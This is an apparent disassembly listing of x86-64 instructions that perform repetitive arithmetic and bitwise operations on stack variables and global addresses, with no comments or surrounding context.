mov word [rsp + 0x10dc], ax
mov rax, qword [rsp + 0x6f78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d7c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c80], eax
lea rax, [rsp + 0x7120]
mov qword [rsp + 0x96f8], rax
mov eax, dword [rsp + 0x3f84]
movzx ecx, al
mov eax, dword [rsp + 0x3fa8]
shr eax, cl
mov dword [rsp + 0x3ee4], eax
mov rax, qword [rsp + 0x6c18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75f0]
mov qword [rsp + 0x9700], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9700]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8008], rax
movzx eax, byte [rsp + 0x94]
mov byte [0x14017a5c6], al
lea rax, [rsp + 0xe14]
mov qword [rsp + 0x9708], rax
mov rax, qword [rsp + 0x6f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8c]
xor eax, ecx
mov byte [rsp + 0x10b], al
mov rax, qword [0x14017a820]
movzx eax, word [rax]
mov word [rsp + 0x10e0], ax
movsx eax, byte [rsp + 0xf1]
movsx ecx, byte [rsp + 0xd2]
and eax, ecx
mov rcx, qword [rsp + 0x8238]
mov byte [rcx], al
mov rax, qword [rsp + 0x84f8]
mov rcx, qword [rsp + 0x8220]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x96f8]
mov qword [rcx], rax
lea rax, [rsp + 0x8038]
mov qword [rsp + 0x9710], rax
mov rax, qword [rsp + 0x8ac8]
mov rcx, qword [rsp + 0x87a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c74], eax
mov rax, qword [rsp + 0x8848]
mov eax, dword [rax]
mov dword [rsp + 0x40e4], eax
movsx eax, word [rsp + 0xe60]
mov rcx, qword [rsp + 0x6e50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7fc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x137]
movzx ecx, byte [rsp + 0x167]
sub eax, ecx
mov rcx, qword [0x14017a7c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9100]
movzx eax, word [rax]
mov rcx, qword [0x14017a500]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x104c], ax
mov rax, qword [rsp + 0x9030]
movzx eax, byte [rax]
mov byte [rsp + 0x18e], al
mov rax, qword [rsp + 0x7570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7208]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10b0], ax
mov eax, dword [rsp + 0x3d50]
mov dword [rsp + 0x40e8], eax
mov rax, qword [rsp + 0x95a0]
mov rcx, qword [rsp + 0x91f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x94a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x94f8]
mov ecx, dword [rsp + 0x3d68]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3bf4], eax
mov rax, qword [rsp + 0x7268]
mov rax, qword [rax]
mov qword [rsp + 0x9718], rax
mov rax, qword [rsp + 0x7d48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8670]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7ed0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7c78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcac]
sar eax, cl
mov word [0x1401790d0], ax
movzx eax, word [rsp + 0xf54]
mov word [rsp + 0x10e4], ax
movzx eax, byte [rsp + 0xfc]
movzx ecx, byte [rsp + 0xa2]
xor eax, ecx
mov byte [rsp + 0x89], al
movzx eax, byte [rsp + 0x6b]
mov byte [rsp + 0x18f], al
mov eax, dword [0x140179004]
mov ecx, dword [rsp + 0x4014]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x402c], eax
mov eax, dword [rsp + 0x3e24]
mov ecx, dword [rsp + 0x4094]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8520]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7df0]
mov rax, qword [rax]
mov qword [rsp + 0x9720], rax
mov rax, qword [rsp + 0x7380]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7900]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d08], rax
mov rax, qword [rsp + 0x9618]
movzx eax, byte [rax]
mov byte [rsp + 0x190], al
lea rax, [rsp + 0x86]
mov qword [0x14017aa28], rax
mov rax, qword [rsp + 0x6d50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8428]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10b], al
movsx eax, word [rsp + 0xfac]
movsx ecx, word [rsp + 0xdb0]
add eax, ecx
mov word [rsp + 0xda8], ax
lea rax, [rsp + 0xcb4]
mov qword [rsp + 0x9728], rax
mov rax, qword [rsp + 0x7b90]
mov rcx, qword [rsp + 0x70a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7558], rax
lea rax, [rsp + 0x3fb0]
mov qword [rsp + 0x9730], rax
mov rax, qword [rsp + 0x9600]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4080], eax
mov rax, qword [rsp + 0x86e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x86b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9620], rax
mov rax, qword [rsp + 0x9030]
movzx eax, byte [rax]
mov byte [rsp + 0x191], al
lea rax, [rsp + 0xd3c]
mov qword [0x14017aa30], rax
mov rax, qword [rsp + 0x90d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7a90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xff0], ax
mov rax, qword [0x14017a670]
movzx eax, byte [rax]
mov byte [rsp + 0x192], al
movzx eax, word [rsp + 0x104c]
movzx ecx, word [rsp + 0xee4]
add eax, ecx
mov word [rsp + 0xd54], ax
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
mov word [rsp + 0x10e8], ax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c8c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c1c], eax
mov eax, dword [rsp + 0x40e8]
mov rcx, qword [rsp + 0x8498]
mov qword [rsp + 0x9738], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9738]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3eb0], eax
mov rax, qword [rsp + 0x8df0]
mov rax, qword [rax]
mov qword [rsp + 0x9740], rax
mov rax, qword [rsp + 0x87d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7e28]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9428]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xa6]
mov rcx, qword [rsp + 0x7cc0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x140179047], al
movzx eax, word [rsp + 0xf74]
mov word [rsp + 0x10ec], ax
movzx eax, byte [rsp + 0x18c]
mov rcx, qword [rsp + 0x94a0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x8b70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7a28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf4], al
movzx eax, word [rsp + 0xd90]
mov word [rsp + 0x10f0], ax
mov rax, qword [rsp + 0x8040]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c34], eax
lea rax, [rsp + 0x3bfc]
mov qword [rsp + 0x9748], rax
mov rax, qword [rsp + 0x7008]
mov rcx, qword [rsp + 0x6d98]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x86f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7310]
mov rcx, qword [rsp + 0x8130]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7888], rax
lea rax, [rsp + 0xb6]
mov qword [0x14017aa38], rax
movzx eax, word [rsp + 0xd8c]
mov word [rsp + 0x10f4], ax
movsx eax, word [0x140179108]
mov rcx, qword [rsp + 0x8338]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdb0], ax
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x9750], rax
movzx eax, word [rsp + 0xd18]
movzx ecx, word [rsp + 0xe84]
sub eax, ecx
mov rcx, qword [rsp + 0x76e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f58]
mov rcx, qword [rsp + 0x8420]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9658], rax
lea rax, [rsp + 0x93b0]
mov qword [rsp + 0x9758], rax
mov rax, qword [rsp + 0x7de0]
mov rcx, qword [rsp + 0x7790]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7700]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b38]
mov eax, dword [rax]
mov dword [rsp + 0x40ec], eax
mov rax, qword [rsp + 0x6cd0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x84e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a4fe], al
movzx eax, byte [rsp + 0xe3]
mov rcx, qword [rsp + 0x6f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8468]
mov byte [rcx], al
movzx eax, word [0x140179098]
mov word [rsp + 0x10f8], ax
movzx eax, word [rsp + 0xeb8]
movzx ecx, word [rsp + 0xf84]
add eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7b28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9068]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x55], al
mov eax, dword [0x14017a4d0]
mov dword [rsp + 0x40f0], eax
mov rax, qword [rsp + 0x9050]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b40]
mov qword [rsp + 0x9760], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9760]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7318], rax
lea rax, [rsp + 0x3dc8]
mov qword [rsp + 0x9768], rax
mov rax, qword [rsp + 0x6f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8038]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8888]
mov qword [rcx], rax
lea rax, [rsp + 0x1028]
mov qword [0x14017aa40], rax
movzx eax, byte [rsp + 0xce]
movzx ecx, byte [rsp + 0x90]
or eax, ecx
mov rcx, qword [rsp + 0x8428]
mov byte [rcx], al
lea rax, [0x14017a718]
mov qword [rsp + 0x9770], rax
movsx eax, byte [rsp + 0xd7]
movsx ecx, byte [rsp + 0x101]
and eax, ecx
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0xe6]
mov byte [rsp + 0x193], al
mov rax, qword [rsp + 0x7b10]
mov rcx, qword [rsp + 0x8be0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7318], rax
mov rax, qword [rsp + 0x76b0]
mov rcx, qword [rsp + 0x87d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7370]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3ea0]
mov dword [rsp + 0x40f4], eax
mov eax, dword [rsp + 0x40b0]
mov ecx, dword [rsp + 0x40b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3be8], eax
mov rax, qword [rsp + 0x86c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7228]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14017902c], ax
lea rax, [rsp + 0xf18]
mov qword [rsp + 0x9778], rax
mov rax, qword [rsp + 0x71f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x161]
sub eax, ecx
mov rcx, qword [rsp + 0x9308]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ce8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x83d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe78], ax
movzx eax, word [rsp + 0x1094]
mov word [rsp + 0x10fc], ax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3ea4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3e44], eax
lea rax, [rsp + 0x8e30]
mov qword [rsp + 0x9780], rax
mov rax, qword [rsp + 0x9398]
mov rcx, qword [rsp + 0x8148]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6d58], rax
lea rax, [0x14017a4d0]
mov qword [rsp + 0x9788], rax
lea rax, [rsp + 0x122]
mov qword [0x14017aa48], rax
movzx eax, word [rsp + 0x10a8]
mov rcx, qword [rsp + 0x7a90]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x9078]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ad0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7c78]
mov word [rcx], ax
lea rax, [rsp + 0xdd]
mov qword [rsp + 0x9790], rax
mov rax, qword [rsp + 0x9630]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
or eax, ecx
mov byte [rsp + 0xec], al
mov rax, qword [0x140179010]
mov qword [rsp + 0x9798], rax
mov eax, dword [rsp + 0x3c18]
mov rcx, qword [rsp + 0x7998]
mov qword [rsp + 0x97a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x97a0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c80]
mov rcx, qword [rsp + 0x7ad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3bf4], eax
lea rax, [rsp + 0x76d8]
mov qword [rsp + 0x97a8], rax
mov rax, qword [rsp + 0x82d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xedc]
add eax, ecx
mov rcx, qword [0x14017a810]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x138]
sub eax, ecx
mov rcx, qword [rsp + 0x9360]
mov byte [rcx], al
lea rax, [rsp + 0xd28]
mov qword [rsp + 0x97b0], rax
movzx eax, byte [rsp + 0x137]
movzx ecx, byte [rsp + 0x167]
add eax, ecx
mov byte [rsp + 0xe0], al
movsx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0x8ea0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7f90]
mov byte [rcx], al
mov rax, qword [rsp + 0x7330]
mov eax, dword [rax]
mov dword [rsp + 0x40f8], eax
mov rax, qword [rsp + 0x7e88]
mov rcx, qword [rsp + 0x9740]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x74e8], rax
lea rax, [rsp + 0x3f48]
mov qword [rsp + 0x97b8], rax
mov rax, qword [rsp + 0x7480]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8938]
mov qword [rcx], rax
movzx eax, word [rsp + 0xd78]
mov word [rsp + 0x1100], ax
mov rax, qword [rsp + 0x80a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdd0]
sub eax, ecx
mov word [0x140179130], ax
mov rax, qword [rsp + 0x8468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f60]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x85e8]
mov byte [rcx], al
movsx eax, byte [rsp + 0xb5]
movsx ecx, byte [rsp + 0x136]
sub eax, ecx
mov rcx, qword [rsp + 0x9750]
mov byte [rcx], al
lea rax, [rsp + 0xd1]
mov qword [rsp + 0x97c0], rax
mov rax, qword [rsp + 0x9058]
movzx ecx, al
mov rax, qword [rsp + 0x6c70]
shl rax, cl
mov qword [rsp + 0x8d28], rax
lea rax, [rsp + 0x3e74]
mov qword [rsp + 0x97c8], rax
mov rax, qword [rsp + 0x8208]
mov rcx, qword [rsp + 0x8348]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3d5c], eax
mov rax, qword [rsp + 0x9230]
mov rcx, qword [0x140179010]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x94d0], rax
mov rax, qword [rsp + 0x7c88]
movzx eax, word [rax]
mov word [rsp + 0x1104], ax
mov rax, qword [rsp + 0x8fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10bc]
sar eax, cl
mov word [0x14017910c], ax
movzx eax, word [rsp + 0x1080]
movzx ecx, word [rsp + 0xd1c]
and eax, ecx
mov rcx, qword [rsp + 0x86f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xbf]
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0x9630]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x140]
sub eax, ecx
mov byte [rsp + 0xf3], al
mov rax, qword [rsp + 0x7610]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x71c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d20], rax
lea rax, [rsp + 0x3db8]
mov qword [rsp + 0x97d0], rax
mov rax, qword [rsp + 0x72d0]
mov ecx, dword [rsp + 0x3f18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d60], eax
lea rax, [rsp + 0x7a38]
mov qword [rsp + 0x97d8], rax
movzx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8468]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0x72e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfb0]
sub eax, ecx
mov word [0x140179134], ax
movsx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0x6fa8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8238]
mov byte [rcx], al
lea rax, [rsp + 0xcb0]
mov qword [rsp + 0x97e0], rax
movzx eax, word [rsp + 0xc24]
movzx ecx, word [0x14017a698]
sub eax, ecx
mov word [rsp + 0xd08], ax
mov rax, qword [rsp + 0x7498]
mov eax, dword [rax]
mov dword [rsp + 0x40fc], eax
mov rax, qword [rsp + 0x9650]
mov rcx, qword [rsp + 0x9468]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9080]
mov dword [rcx], eax
lea rax, [rsp + 0x8970]
mov qword [rsp + 0x97e8], rax
mov rax, qword [rsp + 0x7a78]
mov rcx, qword [rsp + 0x9550]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x86c0], rax
movzx eax, word [rsp + 0x1074]
movzx ecx, word [rsp + 0xc58]
or eax, ecx
mov rcx, qword [rsp + 0x74c8]
mov word [rcx], ax
mov rax, qword [0x14017a948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x62]
sar eax, cl
mov byte [0x14017908a], al
mov rax, qword [rsp + 0x7070]
movzx eax, word [rax]
mov word [rsp + 0x1108], ax
mov rax, qword [rsp + 0x6ee8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8798]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x109], al
mov rax, qword [0x14017a970]
movzx eax, byte [rax]
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0x86b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7118]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7948]
mov byte [rcx], al
mov rax, qword [rsp + 0x7410]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x73e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x89e8], rax
lea rax, [rsp + 0x6d98]
mov qword [rsp + 0x97f0], rax
mov rax, qword [rsp + 0x96d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x403c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e8c], eax
mov rax, qword [rsp + 0x7968]
mov eax, dword [rax]
mov dword [rsp + 0x4100], eax
mov rax, qword [0x14017a680]
movzx eax, word [rax]
mov word [0x14017aa50], ax
movsx eax, byte [rsp + 0x92]
movsx ecx, byte [rsp + 0x48]
sub eax, ecx
mov rcx, qword [rsp + 0x8228]
mov byte [rcx], al
movzx eax, word [rsp + 0xc38]
mov rcx, qword [rsp + 0x6c90]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x87d0]
mov word [rcx], ax
mov rax, qword [0x14017a8d0]
movzx eax, byte [rax]
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0x6ec0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x79e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x77f8]
mov byte [rcx], al
lea rax, [rsp + 0x8fe0]
mov qword [rsp + 0x97f8], rax
mov rax, qword [rsp + 0x6de8]
mov rcx, qword [rsp + 0x8c58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e28], rax
mov eax, dword [rsp + 0x4004]
mov dword [rsp + 0x4104], eax
mov eax, dword [rsp + 0x3be8]
mov ecx, dword [rsp + 0x3e70]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6c68]
mov dword [rcx], eax
movzx eax, word [rsp + 0xeb8]
mov rcx, qword [rsp + 0x8750]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14017a908]
mov word [rcx], ax
mov rax, qword [rsp + 0x7d20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fb8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7cb8]
mov word [rcx], ax
lea rax, [rsp + 0xc4]
mov qword [rsp + 0x9800], rax
mov rax, qword [0x14017a8e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x71f0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1038], ax
movzx eax, word [rsp + 0xc48]
mov word [rsp + 0x110c], ax
mov rax, qword [rsp + 0x8ba8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x91b0]
mov qword [rsp + 0x9808], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9808]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x72f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ec0]
mov ecx, dword [rsp + 0x4028]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3dd0], eax
mov rax, qword [rsp + 0x78a8]
mov qword [rsp + 0x9810], rax
mov rax, qword [rsp + 0x8c88]
mov rcx, qword [rsp + 0x7dc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7980]
mov qword [rcx], rax
lea rax, [0x14017a880]
mov qword [0x14017aa58], rax
mov rax, qword [rsp + 0x7a50]
movzx eax, byte [rax]
mov byte [rsp + 0x197], al
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x84f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x66]
and eax, ecx
mov byte [rsp + 0x127], al
movzx eax, word [rsp + 0xd1c]
mov word [rsp + 0x1110], ax
mov rax, qword [rsp + 0x8578]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4030]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7718]
mov dword [rcx], eax
lea rax, [rsp + 0x8020]
mov qword [rsp + 0x9818], rax
mov eax, dword [rsp + 0x3d80]
mov ecx, dword [rsp + 0x3dcc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x70a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8668]
mov rcx, qword [rsp + 0x7a38]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8cf0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x10a]
movzx ecx, byte [rsp + 0xe6]
add eax, ecx
mov byte [0x14017903b], al
mov rax, qword [rsp + 0x75f8]
movzx eax, word [rax]
mov word [rsp + 0x1114], ax
mov rax, qword [rsp + 0x80b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x125], al
lea rax, [0x14017a880]
mov qword [rsp + 0x9820], rax
movzx eax, word [rsp + 0x1074]
movzx ecx, word [rsp + 0xe04]
sub eax, ecx
mov word [rsp + 0x1040], ax
mov rax, qword [rsp + 0x8288]
mov qword [rsp + 0x9828], rax
mov rax, qword [rsp + 0x7330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3cd0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9380]
mov dword [rcx], eax
mov rax, qword [rsp + 0x74e8]
mov rcx, qword [rsp + 0x7dd8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90c8]
mov qword [rcx], rax
lea rax, [rsp + 0x3ed0]
mov qword [rsp + 0x9830], rax
mov rax, qword [0x14017a838]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13c]
sar eax, cl
mov rcx, qword [0x14017a9a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ad0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7cb8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xe40], ax
mov rax, qword [rsp + 0x7960]
movzx eax, word [rax]
mov word [rsp + 0x1118], ax
mov rax, qword [0x14017a910]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7348]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7b18]
mov word [rcx], ax
movsx eax, byte [rsp + 0x17d]
mov rcx, qword [rsp + 0x8c98]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9618]
mov byte [rcx], al
mov rax, qword [rsp + 0x8eb0]
mov rax, qword [rax]
mov qword [rsp + 0x9838], rax
mov rax, qword [rsp + 0x6f08]
mov rcx, qword [rsp + 0x73a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ca8], eax
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
mov dword [rsp + 0x4108], eax
mov rax, qword [rsp + 0x7218]
mov rcx, qword [rsp + 0x7100]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ec8], rax
movzx eax, byte [rsp + 0x10b]
mov rcx, qword [rsp + 0x7880]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140179096], al
mov rax, qword [rsp + 0x73a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7a90]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x79a8]
mov word [rcx], ax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x9840], rax
movsx eax, word [0x14017a758]
mov rcx, qword [rsp + 0x8d68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc64], ax
lea rax, [rsp + 0x103]
mov qword [rsp + 0x9848], rax
mov rax, qword [rsp + 0x7df0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7648]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ff8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4058]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x85b8]
mov dword [rcx], eax
lea rax, [rsp + 0x3da0]
mov qword [rsp + 0x9850], rax
mov rax, qword [rsp + 0x8030]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8998], rax
lea rax, [rsp + 0xc88]
mov qword [0x14017aa60], rax
lea rax, [rsp + 0x7b]
mov qword [rsp + 0x9858], rax
movzx eax, byte [rsp + 0x13d]
movzx ecx, byte [rsp + 0x192]
sub eax, ecx
mov rcx, qword [rsp + 0x7688]
mov byte [rcx], al
mov rax, qword [0x14017a8b0]
movzx eax, byte [rax]
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x7eb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9180]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd8c], ax
mov rax, qword [rsp + 0x7710]
mov rcx, qword [rsp + 0x97d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x40a4], eax
mov rax, qword [rsp + 0x7a18]
mov eax, dword [rax]
mov dword [rsp + 0x410c], eax
mov rax, qword [rsp + 0x7698]
movzx ecx, al
mov rax, qword [rsp + 0x95d0]
shr rax, cl
mov qword [rsp + 0x75a0], rax
lea rax, [rsp + 0x6ee0]
mov qword [rsp + 0x9860], rax
movzx eax, word [0x1401790d4]
mov rcx, qword [rsp + 0x8ff0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1000], ax
mov rax, qword [rsp + 0x9800]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x183]
or eax, ecx
mov byte [0x14017a59b], al
movzx eax, byte [rsp + 0xeb]
movzx ecx, byte [0x140179057]
shl eax, cl
mov byte [rsp + 0xc3], al
lea rax, [rsp + 0xd04]
mov qword [rsp + 0x9868], rax
mov rax, qword [rsp + 0x8d00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8dc0]
movsx ecx, word [rcx]
and eax, ecx
